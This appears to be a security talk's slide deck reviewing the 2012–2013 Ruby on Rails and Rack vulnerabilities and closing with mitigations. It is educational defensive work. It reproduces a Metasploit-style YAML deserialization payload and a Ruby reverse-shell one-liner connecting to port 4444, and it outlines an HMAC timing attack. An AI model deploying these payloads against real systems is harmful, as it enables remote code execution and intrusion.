What happened to Ruby-on-Rails?

Louis Nyffeneggerlouis@pentesterlab.com

@snyff

About me...

● Independent security consultant:○ Code review○ Training○ Penetration testing

● Work on really cool stuff in my free time:○ https://pentesterlab.com/exercises○ https://pentesterlab.com/bootcamp/

Ruby-On-Rails

● Ruby framework to develop web applications

● Protect from most web security issues:○ SQL injections○ Cross-Site Scripting○ Cross-Site Request Forgery

● Good reputation... including security wise

What happened to Rails?

● Recently a lot of vulnerabilities have been published in Ruby-On-Rails

● In the past, most vulnerabilities were low-risk issues but nothing really bad

● This time we're talking remote code execution

Rails Security: The usual suspects...@joernchen

@homakov@tenderlove

@benmmurphy

@postmodern_mod3@charliesome

Non technical reasons

● People assumed it was secure

● More and more used:○ more users -> more targeted○ if an application didn't get any bug published it's

probably because no one cares

● A lot of Ruby hackers:○ Ruby-on-Rails devs○ People looking for bugs in Ruby-on-Rails and Ruby-on-

Rails applications

It all started... CVE-2012-5664

● Talk from Joernchen (Phenoelit) at ZeroNights:"Let me github that for you" (21/12/2012)

● Rack Session (used by Rails):○ base64(Marshal(data))--HMAC(SHA1(base64(Marshal

(data)), secret)

● PentesterLab's exercise on this: https://pentesterlab.com/rack_cookies_and_commands_injection.html

It all started... CVE-2012-5664

● Session's secret exposed on Github:○ Arbitrary session modifications○ SQL injection if you know the secret and the application

uses authlogic

● Limited risk based on this... in theory

It all started... CVE-2012-5664

● As always... Twitter started screaming and loling on this bug...○ signal vs noise :/

● A lot of people (including me) thought it was only exploitable in this condition:http://blog.pentesterlab.com/2013/01/on-exploiting-cve-2012-5664.htmlhttp://blog.phusion.nl/2013/01/03/rails-sql-injection-vulnerability-hold-your-horses-here-are-the-facts/

It all started... CVE-2012-5664

● If you want to do something like:http://vulnerable/id[:select]=password from users

● Rails prevents this○ if you submit a hash, all keys get converted to

Strings.○ then, Rails check that the keys submitted are valid

symbols:def assert_valid_keys(*valid_keys) unknown_keys = keys - [valid_keys].flatten raise(ArgumentError, "Unknown key(s): #{unknown_keys.join(", ")}") unless unknown_keys.empty?

All could have happily stop here...

but people started digging to find a way around this...

And turned out...

● Rails can do a LOT of stuff...○ parse traditional requests○ parse XML request○ parse JSON request

● And you can send YAML inside JSON and XML requests...

YAML

● "YAML is a human-readable data serialization format "(Wikipedia).

--- receipt: Oz-Ware Purchase Invoice date: 2007-08-06 customer:

given: Dorothy family: Gale

YAML inside XML...

<?xml version="1.0" encoding="UTF-8"?><blah type="yaml">--- !ruby/hash:...</blah>

From YAML to code execution

● To translate that in the OS world:"you have FTP access to a system and want

to get commands execution from it"

● Need to find a way to inject code and get it executed...

● Many methods more or less reliable depending on the version of Ruby and Ruby-On-Rails

From YAML to code execution: msf way

<SWfzexMD type='yaml'>--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection 'XIH; eval(%[Y29k...KZW5k].unpack(%[m0])[0]);' : !ruby/object:ActionController::Routing::Route segments: [] requirements: :tFuEk: :jyWUTgfc: :CAxk</SWfzexMD>　

From YAML to code execution: msf way

● You basically inject code that will get evaluated by Ruby-On-Rails automatically

● The same vulnerability can also be used to get SQL injection using Arel

● From the code evaluated, msf does its usual stuff: ○ fork○ connect back

From YAML to code execution: msf way

code = %(cmVxdW...ml9).unpack(%(m0)).firstif RUBY_PLATFORM =~ /mswin|mingw|win32/[...]else if ! Process.fork() eval(code) rescue nil endend

From YAML to code execution: msf way

require 'socket';c=TCPSocket.new("[::1]","4444");$stdin.reopen(c);$stdout.reopen(c); $stderr.reopen(c);$stdin.each_line {|l| l=l.strip next if l.length==0 system(l)}

CVE-2013-0156... only POST?

● Only POST?○ you need to send the XML in the body of the

request...

● You can do a POST request and use the HTTP header: "X-HTTP-Method-Override: get" to get Rails to use your payload as if it was in a GET request

CVE-2013-0155

● "Unsafe Query Generation Risk in Ruby on Rails" (not SQL injection) using JSON

● Depends on the code useduser = User.find_by_token(params[:token])-> SELECT * FROM users where token=...

● You can manipulate the query using JSON to remove the WHERE statement:-> SELECT * FROM users

Rack

● "Rack provides a minimal interface between web servers supporting Ruby and Ruby frameworks."

● Used by Rails and other frameworks

● Two vulnerabilities published in the same period:○ CVE-2013-0262○ CVE-2013-0263 (already reported in 2009)

Rack... CVE-2013-0263

def digest_match?(data, digest) return unless data && digest @secrets.any? do |secret| digest == generate_hmac(data, secret) endend

Rack... CVE-2013-0263

● Timing attack...○ Create a malicious value○ Bruteforce a valid HMAC

■ send HMAC "aaaaaaaaaaa..."■ send HMAC "baaaaaaaaaa..."■ send HMAC "caaaaaaaaaa..."■ ...■ compare responses' time

● Unlikely from Internet○ "intercloud" attacks...

CVE-2013-0277

● Rails allows developers to store serialized data easily: class Post < ActiveRecord::Base serialize :tags end

● Turns out the serialisation is done using YAML... If a user can manipulate this parameter... game over :/

Rack... CVE-2013-0262

● Directory traversal in Rack::File

● When I looked at the bug I found a XSS in the same code○ and another one in similar code in another file

fail(404, "File not found: #{path_info}"

○ and the fact that rack follows symlinks

● Turns out this is used by BEEF... Content-Type: text/plain limits impact tho

Rubygems.org compromised

● Gem == ruby library

● Rubygems is like a Debian mirror for Ruby

● Information about a package are stored inside a metadata.gz which is a compressed YAML file... and this information get displayed on the website:○ Someone uploaded an "exploit.gem"...

So what to do from now?

● ".to_s all the things"○ most of the issues come from the mapping

performed by Ruby-On-Rails

● Upgrade... (bundler-audit)

● Remove parsers you don't need: ActionDispatch::ParamsParser::DEFAULT_PARSERS.delete(Mime::XML) ActionDispatch::ParamsParser::DEFAULT_PARSERS.delete(Mime::JSON)

And since we are talking about Rails

Someone recently put together all the way to have vulnerable code in Ruby-on-Rails:

http://rails-sqli.org/ You should also check Meder's Ruby

Security Reviewer's Guide:

http://code.google.com/p/ruby-security/wiki/Guide